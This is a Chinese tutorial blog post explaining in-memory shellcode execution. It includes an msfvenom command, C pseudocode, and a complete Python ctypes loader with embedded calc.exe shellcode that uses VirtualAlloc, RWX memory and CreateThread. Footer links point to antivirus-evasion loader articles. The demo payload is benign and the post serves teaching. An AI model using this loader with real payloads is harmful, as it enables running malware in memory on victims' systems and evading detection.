生成

首先生成一个测试的msf shellcode

msfvenom -p windows/x64/exec CMD=calc.exe -f python

把其中的shellcode复制出来留待待会使用

原理

大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api,其实并没有太多的技巧在里面,明白了原理,只需要查一下对应的脚本语言怎么调用 c 即可。

那么我们只需要明白 c 通常是怎么加载 shellcode 的即可一通百通。

那么 c 是怎么加载 shellcode 呢,我们直接从汇编开始探究。

shellcode 这个东西我们明白是一串可执行的二进制(一般可执行文件的拥有可执行权限的section为.text),那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode,然后跳转到 shellcode 首地址去执行就行了,汇编里面改变eip(即当前指令的下一条即将运行指令的虚拟地址)的方法有不少,最简单的就是直接 jmp 过去了。也就是写成伪码大概意思就是(动态申请内存就不写了)

lea eax, shellcode;

jmp eax;

那么我们用 c 怎么表示呢?我这里也写一段伪码(因为本文的重点并不是在于 c 代码的编写)

那么按照刚才的思路,先申请一块可执行的内存,放入 shellcode 然后跳转过去执行即可。

// shellcode

unsigned char shellcode[] =

"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"

"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"

"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"

...;

// 定义一个函数类型

typedef void (__stdcall *CODE) ();

// 申请内存

PVOID p = NULL;

p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 把shellcode放入内存

memcpy(p, shellcode, sizeof(shellcode));

CODE code =(CODE)p;

code();

我并没有写出一个可用的 c 加载 shellcode,只是旨在点出一下流程,然后引出后面的 python 加载 shellcode,上面我们先申请了一块带有可读可写可执行权限的内存,然后把 shellcode 放进去,然后我们强转为一个函数类型指针,最后调用这个函数,达到了我们的目的。

Python实现

前面我说过,大部分脚本语言加载 shellcode 都是调用的c的ffi,那么我们直接按照之前的思路来就行了。下面我直接贴代码

import ctypes

shellcode = b""

shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"

shellcode += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"

shellcode += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"

shellcode += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"

shellcode += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"

shellcode += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"

shellcode += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"

shellcode += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"

shellcode += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"

shellcode += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"

shellcode += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"

shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"

shellcode += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"

shellcode += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"

shellcode += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

shellcode += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"

shellcode += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"

shellcode += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"

shellcode += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"

shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

shellcode += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"

shellcode += b"\x78\x65\x00"

shellcode = bytearray(shellcode)

# 设置VirtualAlloc返回类型为ctypes.c_uint64

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# 申请内存

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(

ctypes.c_uint64(ptr),

buf,

ctypes.c_int(len(shellcode))

)

# 创建一个线程从shellcode防止位置首地址开始执行

handle = ctypes.windll.kernel32.CreateThread(

ctypes.c_int(0),

ctypes.c_int(0),

ctypes.c_uint64(ptr),

ctypes.c_int(0),

ctypes.c_int(0),

ctypes.pointer(ctypes.c_int(0))

)

# 等待上面创建的线程运行完

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

注意其中的的每个 c_uint64,这个类型在64位上是必要的,我们需要手动指定 argtypes 和 restype,否则默认的是 32 位整型。

我的代码里面加了注释,我们可以看到,基本思路也是一样的,先分配一块可读可写可执行代码的内存,在代码中,我使用的是 0x40(PAGE_EXECUTE_READWRITE)和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE),然后把 shellcode 塞进去,跳过去运行。

相信通过这一片文章的讲解你能够对 shellcode 的本质有更多的了解。

python 执行shellcode_Python内存加载shellcode相关推荐

  1. C语言实现shellcode通用框架二:文件下载执行或内存加载

    简介: 承接接上篇.上篇(C语言实现shellcode通用框架一:解密执行)我们的第二层shellcode核心代码都是事先加密好嵌套在第一层shellcode中,核心代码更新起来不方便.所以联网更新显 ...

  2. python加载shellcode免杀 简介

    目录 前言 0X00  基础概念 1. python ctypes模块介绍 2. dll动态链接库 3. pyinstaller 4. shellcode 5.关于windows defender 6 ...

  3. 远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

    0x00 免杀能力一览表 几点说明: 1.表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/mete ...

  4. java 加载shellcode_多阶段加载shellcode

    介绍 多阶段加载是基于如下这种想法:如果一个小片段的shellcode可以在目标上执行,理论上可以通过网络连接.传输和执行其他的shellcode,或者甚至是一个完整的二进制可执行文件. 关键的想法是 ...

  5. php加载shellcode,萌新逆向学习笔记——CreateRemoteThread注入Shellcode

    前言 笔者已经有一段时间没发文了,说实话最近学习逆向没劲儿,不知道是不是因为天气总是变化无常,人感觉有点疲惫. 友情提示:下面一堆笔者废话,所以只想看技术细节可跳过. 之前一直在看韩国人写的<逆 ...

  6. java 加载shellcode_动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  7. exe和dll的内存加载

    这两天学习了PE结构后,做了一个简单的内存加载demo.在完成这个demo期间也是遇到了很多问题,大部分的问题最后都得到了解决,但还是有一些问题依然困扰着我,我在最后将会提到.不过总的来说也算是顺利完 ...

  8. 【ARMv8 编程】A64 内存访问指令——内存加载指令

    与所有先前的 ARM 处理器一样,ARMv8 架构是一种加载/存储架构.这意味着没有数据处理指令直接对内存中的数据进行操作.数据必须首先被加载到寄存器中,修改,然后存储到内存中.该程序必须指定地址.要 ...

  9. Android中apk加固完善篇之内存加载dex方案实现原理(不落地方式加载)

    一.前言 时隔半年,困扰的问题始终是需要解决的,之前也算是没时间弄,今天因为有人在此提起这个问题,那么就不能不解决了,这里写一篇文章记录一下吧.那么是什么问题呢? 就是关于之前的一个话题:Androi ...

最新文章

  1. 企业服务内部接口校验方案
  2. sql注入原理及解决方案
  3. android x86 vulkan,【图片】预告贴,准备同步AndroidIA源码,貌似支持Vulkan【androidx86吧】_百度贴吧...
  4. c语言1066字符分类统计,C语言字符串操作总结大全(超详细)
  5. React中setState修改深层对象
  6. UML建模之活动图介绍
  7. [转载]为什么不推荐使用stop和suspend这两个方法?
  8. jQuery -- 光阴似箭(五):AJAX 方法
  9. linux硬连接脚本,linux 硬链接和软链接深入理解
  10. python后台——aiohttp入门
  11. Python基础之变量和常量
  12. App测试工具大全,收藏这篇就够了
  13. 谷歌大脑 2016 年机器学习的 9 大进展,今年将大放异彩
  14. guid主分区表损坏如何处理_恢复guid分区表【免费找回技巧与步骤】
  15. 美元用计算机怎么算,美金人民币汇率换算(人民币兑换率计算器)
  16. 浅析故障电弧探测器在电气防火中的作用与应用介绍
  17. 认识3DMAX的各种插件
  18. 2021APMCM赛后总结——边缘检测
  19. win+G没反应,Xbox game bar按不出来
  20. cisco anyconnect 下载(windows、macos、iOS、Android、linux)

热门文章

  1. beetlSql删除语句
  2. 如何提高自己画画的灵性?方法得用对!
  3. 函数依赖 候选码 主码 第三范式 BCNF 多值依赖
  4. Windows10系统快捷键创建一个新的虚拟桌面
  5. 单片机c语言printf怎么用,如何在单片机上使用printf函数
  6. python面试常问问题
  7. 移动互联网app业务逻辑图
  8. 深入了解云计算:发展历程、服务与部署模型、未来趋势与挑战
  9. 支付+电商双系统项目笔记(七)支付系统:支付宝支付开发
  10. Altium Desiger的简单学习流程